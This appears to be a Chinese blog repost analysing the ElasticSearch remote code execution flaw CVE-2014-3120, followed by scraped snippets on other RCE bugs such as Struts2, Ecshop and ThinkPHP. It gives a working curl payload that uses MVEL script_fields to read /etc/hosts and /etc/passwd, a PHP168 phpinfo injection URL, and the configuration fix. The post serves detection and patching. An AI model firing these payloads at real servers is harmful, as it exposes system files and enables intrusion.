ElasticSearch远程任意代码执行漏洞(CVE-2014-3120)分析

原理

这个漏洞实际上非常简单,ElasticSearch有脚本执行(scripting)的功能,可以很方便地对查询出来的数据再加工处理。

ElasticSearch用的脚本引擎是MVEL,这个引擎没有做任何的防护,或者沙盒包装,所以直接可以执行任意代码。

而在ElasticSearch里,默认配置是打开动态脚本功能的,因此用户可以直接通过http请求,执行任意代码。

其实官方是清楚这个漏洞的,在文档里有说明:

First, you should not run Elasticsearch as the root user, as this would allow a script to access or do anything on your server, without limitations. Second, you should not expose Elasticsearch directly to users, but instead have a proxy application inbetween.

检测方法

在线检测:

http://tool.scanv.com/es.html          可以检测任意地址

http://bouk.co/blog/elasticsearch-rce/poc.html   只检测localhost,不过会输出/etc/hosts和/etc/passwd文件的内容到网页上

自己手动检测:

curl -XPOST 'http://localhost:9200/_search?pretty' -d '
{
  "size": 1,
  "query": {
    "filtered": {
      "query": {
        "match_all": {}
      }
    }
  },
  "script_fields": {
    "/etc/hosts": {
      "script": "import java.util.*;\nimport java.io.*;\nnew Scanner(new File(\"/etc/hosts\")).useDelimiter(\"\\\\Z\").next();"
    },
    "/etc/passwd": {
      "script": "import java.util.*;\nimport java.io.*;\nnew Scanner(new File(\"/etc/passwd\")).useDelimiter(\"\\\\Z\").next();"
    }
  }
}
'

处理办法

关掉执行脚本功能,在配置文件elasticsearch.yml里为每一个结点都加上:

script.disable_dynamic: true

http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/modules-scripting.html#_disabling_dynamic_scripts

官方会在1.2版本默认关闭动态脚本。

https://github.com/elasticsearch/elasticsearch/issues/5853

参考:

http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/modules-scripting.html

http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/search-request-script-fields.html

http://bouk.co/blog/elasticsearch-rce/

ElasticSearch远程任意代码执行漏洞(CVE-2014-3120)分析,布布扣,bubuko.com

时间: 2024-10-14 09:01:41

ElasticSearch远程任意代码执行漏洞(CVE-2014-3120)分析的相关文章

PHP-CGI远程任意代码执行漏洞(CVE-2012-1823)修复方案

首先介绍一下这个漏洞,其实是在apache调用php解释器解释.php文件时,会将url参数传我给php解释器,如果在url后加传命令行开关(例如-s.-d .-c或 -dauto_prepend_file%3d/etc/passwd+-n)等参数时,会导致源代码泄露和任意代码执行. 这个漏洞影响php-5.3.12以前的版本,mod方式.fpm方式不受影响. 既然出现了,那就补吧,以下都是自己亲身经验,本着开源精神,做个分享,欢迎留言! 三种方案: 1.升级php版本:(php-5.3.12以

【知道创宇404实验室】致远OA系统远程任意代码执行高危安全漏洞预警

今日(2019年6月26日),互联网上有安全研究者预警并发布了关于致远OA系统的高危安全漏洞,***者可以通过某接口漏洞在未授权的情况下实现远程任意代码执行,最终控制整个系统权限.据悉致远OA系统是由用友致远互联旗下协同管理软件系统,在国内很多央企.大型公司都有广泛应用. 知道创宇404实验室立即启动漏洞应急流程,确定该漏洞存在致远OA系统某些型号及版本中某Servlet接口缺少必要的安全过滤,最终允许***者远程执行任意代码,并且该接口无需认证即可访问,危害巨大. 通过知道创宇旗下ZoomEy

20.Ecshop 2.x/3.x SQL注入/任意代码执行漏洞(附实战exp)

Ecshop 2.x/3.x SQL注入/任意代码执行漏洞 影响版本: Ecshop 2.x Ecshop 3.x-3.6.0 漏洞分析: 该漏洞影响ECShop 2.x和3.x版本,是一个典型的"二次漏洞",通过user.php文件中display()函数的模板变量可控,从而造成SQL注入漏洞,而后又通过SQL注入漏洞将恶意代码注入到危险函数eval中,从而实现了任意代码执行. 值得一提的是攻击者利用的payload只适用于ECShop 2.x版本导致有部分安全分析者认为该漏洞不影响

php 168任意代码执行漏洞之php的Complex (curly) syntax

今天了解了php 168的任意代码执行漏洞,Poc: http://192.168.6.128/pentest/cms/php168/member/post.php?only=1&showHtml_Type[bencandy][1]={${phpinfo()}}&aid=1&job=endHTML 通过代码审计得知,最后会执行 eval("\$array[showurl]=\"$filename_b\";"); 而$filename_b最终值

漏洞预警 | Apache Struts2 曝任意代码执行漏洞 (S2-045)

近日,Apache官方发布Apache Struts 2.3.5–2.3.31版本及2.5–2.5.10版本存在远程代码执行漏洞(CNNVD-201703-152 ,CVE-2017-5638)的紧急漏洞公告.该漏洞是由于上传功能的异常处理函数没有正确处理用户输入的错误信息,导致远程攻击者可通过发送恶意的数据包,利用该漏洞在受影响服务器上执行任意命令. 漏洞危害 攻击者可在HTTP请求头部中的Content-Type字段构造恶意代码利用该漏洞,在受影响服务器上执行系统命令,进一步可完全控制该服务

Drupal Core 8 PECL YAML 反序列化任意代码执行漏洞(CVE-2017-6920

漏洞背景:2017年6月21日,Drupal官方发布了一个编号为CVE-2017- 6920 的漏洞,影响为Critical.这是Drupal Core的YAML解析器处理不当所导致的一个远程代码执行漏洞,影响8.x的Drupal Core. 漏洞复现:1.打开网页先登录一个管理员账号.2.访问 http://你的ip:8080/admin/config/development/configuration/single/import3.然后如下图所示:第二个随便填.poc:!php/object

phpcms前台任意代码执行漏洞(php<5.3)

phpcms v9 中 string2array()函数使用了eval函数,在多个地方可能造成代码执行漏洞 /phpsso_server/phpcms/libs/functions/global.func.php /** * 将字符串转换为数组 * * @param string $data 字符串 * @return array 返回数组格式,如果,data为空,则返回空数组 */ function string2array($data) { if($data == '''') return

PHP-fpm 远程代码执行漏洞(CVE-2019-11043)源码分析

一.漏洞复现 1.搭建docker环境(yum install docker-re) 2.拉取镜像配置docker-compose.yml文件,并拉取镜像 docker-compose up -d version: '2' services: nginx: image: nginx:1 volumes: - ./www:/usr/share/nginx/html - ./default.conf:/etc/nginx/conf.d/default.conf depends_on: - php p

[2012-4-10]ThinkPHP框架被爆任意代码执行漏洞

昨日(2012.04.09)ThinkPHP框架被爆出了一个php代码任意执行漏洞,黑客只需提交一段特殊的URL就可以在网站上执行恶意代码. ThinkPHP作为国内使用比较广泛的老牌PHP MVC框架,有不少创业公司或者项目都用了这个框架.不过大多数开发者和使用者并没有注意到本次漏洞的危害性,提醒:此漏洞是一个非常严重的问题,只要使用了thinkphp框架,就可以直接执行任意php代码,使用thinkphp框架的各位站长赶快对自己的网站进检测,并修复. 修复方法: 1.下载官方发布的补丁: h